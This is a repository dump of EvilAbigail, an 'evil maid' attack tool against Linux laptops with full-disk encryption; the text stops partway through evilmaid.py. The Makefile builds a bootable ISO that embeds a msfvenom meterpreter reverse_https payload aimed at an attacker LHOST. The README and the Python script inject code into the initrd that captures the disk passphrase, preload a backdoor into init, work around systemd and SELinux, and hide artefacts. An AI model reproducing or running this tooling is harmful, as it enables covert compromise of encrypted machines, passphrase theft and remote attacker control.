├── LICENSE ├── Makefile ├── README.md ├── Screenshot.png ├── evilmaid.py └── rev.c /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all build iso clean FORCE 2 | # run with LHOST=w.x.y.z 3 | FILENAME=hda1 4 | WAIT=90 5 | CFLAGS+=-shared -Wall -Werror -fpic -Wl,-init,shell -std=c99 -DWAIT=$(WAIT) -DFILENAME="\"$(FILENAME)\"" 6 | CC=gcc 7 | 8 | all: iso 9 | build: rev.so 10 | iso: EvilAbigail.iso 11 | clean: 12 | rm -f core.d/evilmaid.py core.d/rev.so core.gz EvilAbigail.iso .lhost payload.h rev.so 13 | FORCE: 14 | 15 | core.d/%: % # evilmaid.py: evilmaid.py 16 | sudo cp $(@F) $@ 17 | 18 | core.d/rev.so: rev.so 19 | sudo cp $< core.d/$(FILENAME) 20 | 21 | core.gz: core.d core.d/evilmaid.py core.d/rev.so 22 | cd core.d && sudo find . -mindepth 1 | cut -c3- | sudo cpio -o -H newc --quiet | gzip > ../$@ 23 | 24 | Core-current/boot/core.gz: core.gz | Core-current/boot 25 | sudo cp core.gz $@ 26 | 27 | EvilAbigail.iso: Core-current Core-current/boot/core.gz Core-current/boot/isolinux/isolinux.bin Core-current/boot/isolinux/boot.cat 28 | @rm -f $@ 29 | sudo mkisofs -l -J -R -V TC-custom -input-charset utf8 -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -quiet -o $@ Core-current 30 | 31 | Core-current: | Core-current.iso 32 | ${error Copy the contents of Core-current.iso into Core-current} 33 | 34 | core.d: 35 | @mkdir -p core.d 36 | @cd core.d && gunzip -c ../Core-current/boot/core.gz | sudo cpio -id --quiet 37 | 38 | .lhost: FORCE 39 | ifeq (${strip $(LHOST)},) 40 | ${error Please specify LHOST} 41 | endif 42 | @echo $(LHOST) > $@.tmp 43 | @cmp -s $@ $@.tmp || mv $@.tmp $@ 44 | @rm -f $@.tmp 45 | 46 | payload.h: .lhost 47 | msfvenom -f raw -p python/meterpreter/reverse_https LHOST=$(LHOST) 2>/dev/null | sed 's/^/\#define PAYLOAD "/;s/$$/"\n/' > $@ 48 | 49 | rev.so: payload.h 50 | %.so: %.c 51 | $(CC) $(CFLAGS) $< -o $@ 52 | 53 | %.tcz: 54 | wget http://distro.ibiblio.org/tinycorelinux/6.x/x86/tcz/$(@F) 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Initrd encrypted root fs attack 2 | 3 | ![EvilAbigail](Screenshot.png?raw=true) 4 | 5 | ## Scenario 6 | * Laptop left turned off with FDE turned on 7 | * Attacker boots from USB/CD/Network 8 | * Script executes and backdoors initrd 9 | * User returns to laptop, boots as normal 10 | * Backdoored initrd loads: 11 | * (Debian/Ubuntu/Kali) `.so` file into `/sbin/init` on boot, dropping a shell 12 | * (Fedora/CentOS) `LD_PRELOAD` `.so` into `DefaultEnviroment`, loaded globally, dropping a shell. 13 | 14 | ## Supported Distros 15 | * Ubuntu 14.04.3 16 | * Debian 8.2.0 17 | * Kali 2.0 18 | * Fedora 23 19 | * CentOS 7 20 | 21 | ## Current Features 22 | * `python/meterpreter/reverse_https` to compile time LHOST 23 | * FDE decryption password stored in meterpreter environment (`getenv PASSWORD`) 24 | 25 | ## Details 26 | ### Compiling 27 | See the `Makefile` for more information/configuration, `LHOST` is required in the 28 | environment to build the `.so` as `msfvenom` is piped in at compile time. It is also necessary to have `libcrypsetup-dev` (or equivalent) installed on the build machine. 29 | 30 | Generic Instructions (builds iso image in cwd): 31 | `LHOST=192.168.56.101 make rev.so iso` 32 | 33 | 34 | ### isolinux.cfg 35 | The following options have been appended to the kernel boot: 36 | 37 | `mc superuser nodhcp quiet loglevel=0` 38 | 39 | Furthermore, the `prompt` value has been set to `0` to allow fully automated 40 | execution. 41 | 42 | ### Timing 43 | Approximate nefarious boot -> backdoored time: ~2 minutes 44 | Approximate legit boot -> shell ~90 seconds (configurable, we want networking 45 | up before us) 46 | 47 | ### Prerequisites 48 | `core.d` is an unpacked core.gz from TinyCore with the below packages merged in. 49 | 50 | `Core-current` is an unpacked `Core-current.iso` 51 | 52 | The following packages have been installed inside tinycore (python, filesystem support): 53 | 54 | * bzip2-lib.tcz 55 | * filesystems-3.16.6-tinycore.tcz 56 | * gdbm.tcz 57 | * libffi.tcz 58 | * mtd-3.16.6-tinycore.tcz 59 | * ncurses.tcz 60 | * openssl.tcz 61 | * python.tcz 62 | * readline.tcz 63 | * sqlite3.tcz 64 | 65 | ### Adding new signatures 66 | At a minimum signature is as follows: 67 | 68 | ``` 69 | "exampleOS" : { 70 | "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release", 71 | "ROOT" : "${rootmnt}", 72 | "FILENAME" : "/ldlinux.so.1", 73 | "INITRDFILENAME" : "hda1" 74 | } 75 | ``` 76 | 77 | * `exampleOS` is a unique name for this OS. 78 | * `IDENTIFIER` is a shell command that has an exit code `0` when run against the correct initrd, and `!0` for anything else. 79 | * `ROOT` is the full path or variable where the new root is mounted after decryption. 80 | * `FILENAME` is the full path to drop our binary on the root fs. Take care to know what `initrd` mounts and what is mounted later on. 81 | * `INITRDFILENAME` is the full path of the binary inside the initrd. This is copied inside `Makefile` (`cp ... core.d/...`) so it should match that. 82 | 83 | After that, every triple of `*FILE`, `*PRE`, `*POST` is run against the initrd as a `re.sub` (e.g `re.sub(*PRE, *POST, *FILE)`. The contents of `*PRE` and `*POST` are expanded using `.format(**config[detectedOS])`, so feel free to expand your signature to inject items. 84 | 85 | There is no limit to the number of replacements you can run. 86 | 87 | #### Notes 88 | * `\\1` will expand to the full contents of the match (`*PRE`) when used inside the replace (`*POST`). 89 | * Be careful with: `| $` 90 | 91 | 92 | ### Nitty Gritty 93 | #### Payload 94 | The `python/meterpreter/reverse_https` metasploit payload was chosen because it is more platform independant than the `linux/*/meterpreter/reverse_tcp` payloads. `python` seems to be installed by default on all the tested systems. 95 | 96 | By default, the payload is generated at compile time and piped into the `.c` file as a `#define`. This makes iterations easier, but it shouldn't be hard to save the payload and insert it manually. 97 | 98 | #### Debian based (Debian, Ubuntu, Kali) 99 | ##### Dropping the shell 100 | Debian based systems (Debian, Ubuntu etc) use a standard gzipped cpio image as the initramfs. This contains the default `/init` script which runs through preparing the system for full boot. This includes asking the user for their password and mounting the encrypted root fs. 101 | 102 | For dropping our `.so`, we wait until the root filesystem has been mounted (so after the user has been asked for their password) and copy the `.so` to the `/dev` filesystem. The `/dev` filesystem was chosen as it is accessible just before the `rootfs` is switched and it is a ram based mount. This means that our `.so` won't touch disk. 103 | 104 | To actually use the dropped `.so`, we then use the `LD_PRELOAD` environmental variable on the `switch_root` call. This variable is passed to all child executables and as such, the final `/sbin/init` script will have the module loaded. To keep this relatively quiet, we check if we are loaded into `/sbin/init`, and if so, we unset the `LD_PRELOAD` variable and delete the `.so`. This functionality can easily be disabled if we wanted to hook specific applications. 105 | 106 | To force execution of the `.so`, by default after loading, we use the `gcc` flag `-Wl,-init,shell`, where `shell` is our main function. This specifies which function we want to call on init of the `.so`. Think of this as an analogue to Windows' `DllMain`. 107 | 108 | ##### Password stealing 109 | 110 | The part of the `init` script in charge of asking the user for their password and mounting the root filesystem is as follows: 111 | 112 | `scripts/local-top/cryptroot:` 113 | 114 | ``` 115 | if [ ! -e "$NEWROOT" ]; then 116 | if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ 117 | $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then 118 | message "cryptsetup: cryptsetup failed, bad password or options?" 119 | continue 120 | fi 121 | fi 122 | ``` 123 | 124 | The important part for us is where the output of `$cryptkeyscript` is piped into `$cryptcreate`. `$cryptkeyscript` is the password asker, and `$cryptcreate` is the disk mounter. This pipe makes it very easy for us to attack. We insert the following code where the pipe is to write out the password to the end of our `.so`: 125 | 126 | `(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)` 127 | 128 | This will read the password into the variable `$P`, and both write it to the end of the `.so` and echo it out again. This code will be transparent for the purposes of `$cryptkeyscript` and `$cryptcreate`, but it will have the site effect of exfiltrating the password. We use `\\\\\\\\x00` to prepend a null byte (accounting for many levels of shell escaping) to the password. This makes it much easier for our `.so` to read the password back, as it just needs to read backwards from the end of itself until it sees a null byte. 129 | 130 | To provide this password to the attacker, it is used as an environmental variable in the invocation of the payload. This means that the attacker can just use the meterpreter command `getenv PASSWORD` to retrieve the password. 131 | 132 | ##### Artefacts 133 | 134 | Due to the way the `.so` is being loaded, there will be references to it in both `/proc/1/maps` and `/proc/1/environ`. 135 | 136 | The `maps` file is a list of loaded modules. The following excerpt shows the contents of this file. Note the `(deleted)`, could potentially raise suspicion. However, unlike normal binaries, it is not possible to access the `.so` without directly carving it out of memory after it has been deleted. 137 | 138 | ``` 139 | 7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted) 140 | 7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted) 141 | 7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted) 142 | ``` 143 | 144 | The `environ` file is a `NULL` separated list of environmental variables at invocation. Because it is from invocation this means that any modifications we make at runtime (unsetting `LD_PRELOAD`) will not be reflected. 145 | 146 | In both of these cases, becuase we can be hooked into any and all system processes, we could just hook the `read(2)` function and remove any references to ourselves. 147 | 148 | ##### Kali 149 | Kali is sort of a special case. It has the chained cpio as mentioned below, but doesn't use `systemd` to boot. As such, the `DRACUT` OS rule has been generalized such that it extracts blindly, and then the second OS detection catches Kali. 150 | 151 | If you add an OS with a cpio containing only `kernel/x86/microcode/GenuineIntel.bin`, the `IDENTIFIER` rule should be for the appended cpio, as we will automatically find and extract it. 152 | 153 | #### Redhat Based (Fedora, CentOS) 154 | 155 | These systems have a different format for their initrd image compared to Debian based systems. The initrd files stored in `/boot` are an almost empty cpio archive, with a gzipped cpio archive appended. This second archive is the one containing the `initramfs`. To unpack this second archive it is necessary to parse the first cpio archive to find the end. Alternatively you can find the string `TRAILER!!!` and read on until you find gzip magic (`\x1f\x8b`). 156 | 157 | Another difference of these systems is that they are systemd based, and as such the `/init` executable in the `initamfs` is a symlink to the `systemd` binary, rather than a flat `sh` script. To bypass this limitation, it is necessary to modify the `.service` files related to mounting the root filesystem. 158 | 159 | The `usr/lib/systemd/system/initrd-switch-root.service` contains the script which is used to pivot to the newly decrypted root. Using the `ExecStartPre` pragma it is possible to execute other programs before the pivot takes place. 160 | 161 | SELinux is present on CentOS, restricting the use of `LD_PRELOAD`. One working path is `/lib`. This was located by reading the file at `/etc/selinux/targeted/modules/active/file_contexts` for a `system_u:object_r:lib_t` labelled location. 162 | 163 | ##### Dropping the shell 164 | Because systemd calls `clearenv()` before switching root, our `LD_PRELOAD` variable is wiped out. To bypass this, we can hook `clearenv()`, and always just replace the environment with only `LD_PRELOAD`. However, to achieve this, we need to be PID 1 inside the initrd. This is trickier as it is not possible to `LD_PRELOAD` into this process. To get around this, we have replaced `/init` with a bash shell script as follows: 165 | 166 | ``` 167 | #!/bin/bash 168 | export LD_PRELOAD=/hda1 169 | exec /usr/lib/systemd/systemd 170 | ``` 171 | 172 | This works becuase `/init` is just a symlink to `/usr/lib/systemd/systemd`. `exec` is used so that the process retains the parend PID (1). 173 | 174 | Once this is impemented, and `clearenv()` is neutralised, it is possible to set `LD_PRELOAD` for the real pid 1 inside the new root. 175 | 176 | ##### Password Stealing 177 | systemd handles passwords for encrypted filesystems completely differently to Debian based init scripts. The passwords are passed around using Unix sockets which allow you to send credentials. To get around this complexity, the easiest method We found to access the password was to hook the `crypt_activate_by_passphrase` function from `libcryptsetup`. The relevant parts of the function declaration are as follows: 178 | 179 | ``` 180 | int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...); 181 | ``` 182 | 183 | To access the password we simply hook this function, save `passphrase` to a file and call the original function obtained by `dlsym(RTLD_NEXT, ...)`. As above, we appended our password to the `.so` so it is able to parse itself and make the password available to meterpreter. 184 | 185 | ##### Artefacts 186 | As above, the .so shows up in `/proc/1/maps`, `/proc/1/environ` and `ps` output. 187 | -------------------------------------------------------------------------------- /Screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AonCyberLabs/EvilAbigail/5bde1d49a76ef2e5a6e6bcda5b094441b41144ad/Screenshot.png -------------------------------------------------------------------------------- /evilmaid.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import glob 4 | import re 5 | import shutil 6 | import subprocess 7 | import curses 8 | 9 | if os.getuid(): 10 | sys.exit("Please run as root") 11 | 12 | system = lambda x:subprocess.call(x, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 13 | 14 | DEBIANPRELOADCOMMAND = """ 15 | cp /{INITRDFILENAME} {ROOT}/{FILENAME} 16 | export LD_PRELOAD=/{FILENAME} 17 | \\1 18 | """ 19 | CENTOSPRELOADCOMMAND = """\\1 20 | ExecStartPre=-/bin/mount -o remount,rw /{ROOT}/ 21 | ExecStartPre=-/bin/cp /{INITRDFILENAME} /{ROOT}/{FILENAME}""" 22 | 23 | def CENTOSBACKDOOR(settings): 24 | os.remove("init") 25 | with open("init", "w") as init: 26 | init.write("#!/bin/bash\nexport LD_PRELOAD=/{INITRDFILENAME}\nexec /usr/lib/systemd/systemd\n".format(**settings)) 27 | os.chmod('init', 0777) 28 | 29 | config = { 30 | "Ubuntu" : { # 14.04.3 31 | "IDENTIFIER" : "grep lvm=ubuntu conf/conf.d/cryptroot", 32 | 33 | "PRELOADFILE" : "init", 34 | "PRELOADPRE" : "(# Chain to real filesystem)", 35 | "PRELOADPOST" : DEBIANPRELOADCOMMAND, 36 | 37 | "PWFILE" : "scripts/local-top/cryptroot", 38 | "PWPRE" : "(\\$cryptkeyscript \"\\$cryptkey\" \\|)", 39 | "PWPOST" : "\\1(read P; echo -ne \\\\\\\\x00$P >> /{INITRDFILENAME}; echo -n $P)| ", 40 | 41 | "ROOT" : "${rootmnt}", 42 | "FILENAME" : "/dev/hda1", 43 | "INITRDFILENAME" : "hda1" 44 | }, 45 | "Debian" : { # 8.2.0 46 | "IDENTIFIER" : "grep lvm=debian conf/conf.d/cryptroot", 47 | 48 | "PRELOADFILE" : "init", 49 | "PRELOADPRE" : "(# Chain to real filesystem)", 50 | "PRELOADPOST" : DEBIANPRELOADCOMMAND, 51 | 52 | "PWFILE" : "scripts/local-top/cryptroot", 53 | "PWPRE" : "(\\$cryptkeyscript \"\\$cryptkey\" \\|)", 54 | "PWPOST" : "\\1(read P; echo -ne \\\\\\\\x00$P >> /{INITRDFILENAME}; echo -n $P)| ", 55 | 56 | "ROOT" : "${rootmnt}", 57 | "FILENAME" : "/dev/hda1", 58 | "INITRDFILENAME" : "hda1" 59 | }, 60 | "DRACUT" : { # pseudo OS, causes it to unpack the appended cpio image 61 | "IDENTIFIER" : "ls kernel/x86/microcode/GenuineIntel.bin" 62 | }, 63 | "Kali" : { # 2.0 64 | "IDENTIFIER" : "grep lvm=kali conf/conf.d/cryptroot", 65 | 66 | "PRELOADFILE" : "init", 67 | "PRELOADPRE" : "(# Chain to real filesystem)", 68 | "PRELOADPOST" : DEBIANPRELOADCOMMAND, 69 | 70 | "PWFILE" : "scripts/local-top/cryptroot", 71 | "PWPRE" : "(\\$cryptkeyscript \"\\$cryptkey\" \\|)", 72 | "PWPOST" : "\\1(read P; echo -ne \\\\\\\\x00$P >> /{INITRDFILENAME}; echo -n $P)| ", 73 | 74 | "ROOT" : "${rootmnt}", 75 | "FILENAME" : "/dev/hda1", 76 | "INITRDFILENAME" : "hda1" 77 | }, 78 | "CentOS" : { # 7 79 | "IDENTIFIER" : "grep CentOS etc/initrd-release", 80 | 81 | "PRELOADFILE" : "usr/lib/systemd/system/initrd-switch-root.service", 82 | "PRELOADPRE" : "(\[Service\])", 83 | "PRELOADPOST" : CENTOSPRELOADCOMMAND, 84 | 85 | "ENVFILE" : "etc/systemd/system.conf", 86 | "ENVPRE" : "#DefaultEnvironment=", 87 | "ENVPOST" : "DefaultEnvironment=LD_PRELOAD=/hda1", 88 | 89 | "ROOT" : "/sysroot/", 90 | 